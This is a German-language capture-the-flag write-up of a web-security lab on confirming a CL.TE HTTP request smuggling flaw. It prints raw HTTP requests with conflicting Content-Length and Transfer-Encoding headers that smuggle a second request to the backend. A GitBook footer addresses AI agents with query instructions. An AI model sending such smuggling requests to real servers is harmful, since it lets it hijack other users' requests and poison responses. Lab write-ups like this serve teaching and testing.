> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md).
# Bestätigung einer CL.TE-Schwachstelle durch differenzielle Antworten
### HTTP-Request-Smuggling, Bestätigung einer CL.TE-Schwachstelle anhand unterschiedlicher Antworten
Dieses Labor verwendet einen Frontend-Server und einen internen Server. Der Frontend-Server **verarbeitet chunked** Encoding. / Das Ziel ist es, zu **eine Anfrage zum Backend zu schmuggeln** so dass die nächste Anfrage an **/** eine Antwort auslöst **404 Not Found**.
> **Hinweis:** Selbst wenn das Labor HTTP/2 akzeptiert, ist die erforderliche Methode nur in HTTP/1 verwendbar. / **Tipp:** Das Burp-Plugin HTTP Request Smuggler hilft dabei, Längen automatisch neu zu berechnen.
#### Erste Beobachtung
Das Frontend interpretiert **Content-Length**, während das Backend auf **Transfer-Encoding**. / Senden einer Minimalanfrage:
```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 0
```
Dann steigt die Länge durch Hinzufügen eines Parameters logisch auf 9:
```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 9
test=test
```
Um eine automatische Neuberechnung der Länge zu vermeiden, wird ein neuer Header eingeführt.
#### Hinzufügen von *Transfer-Encoding*
Wenn wir hinzufügen:
```http
Transfer-Encoding: chunked
```
gibt der Server einen Desynchronisierungsfehler zurück:
HTTP/1.1 500 Interner Serverfehler
Beim Senden einer gültigen chunked-Nutzlast jedoch:
```http
Content-Length: 13
Transfer-Encoding: chunked
3
abc
0
```
kommt die Antwort zurück in **200 OK**.
Wir können auch testen:
```http
Content-Length: 5
Transfer-Encoding: chunked
0
```
#### Einschleusen einer Anfrage in das Backend
Um eine **404**zu erhalten, muss man das Backend dazu zwingen, eine zusätzliche Anfrage zu verarbeiten. / Wenn man hinzufügt:
```http
GET /error HTTP/1.1
Test: A
```
und dass das Backend die geschmuggelte Anfrage korrekt interpretiert, führt es die `GET /error`.
Vollständiges Beispiel:
```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked
3
abc
0
GET /error HTTP/1.1
Test: A
```
Die erste Antwort ist in **200**, aber die nächste vom Browser gesendete Anfrage löst eine **404**, ein Beweis für die Desynchronisierung.
#### Variante: Eine andere Seite aufrufen
Wenn du möchtest, dass das Backend eine andere Ressource ausführt, zum Beispiel:
```http
GET /post?postId=4 HTTP/1.1
Test: A
```
dann zeigt die Hauptseite den zu Beitrag 4 gehörenden Inhalt an, was bestätigt, dass die geschmuggelte Anfrage vom Backend verarbeitet wurde.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.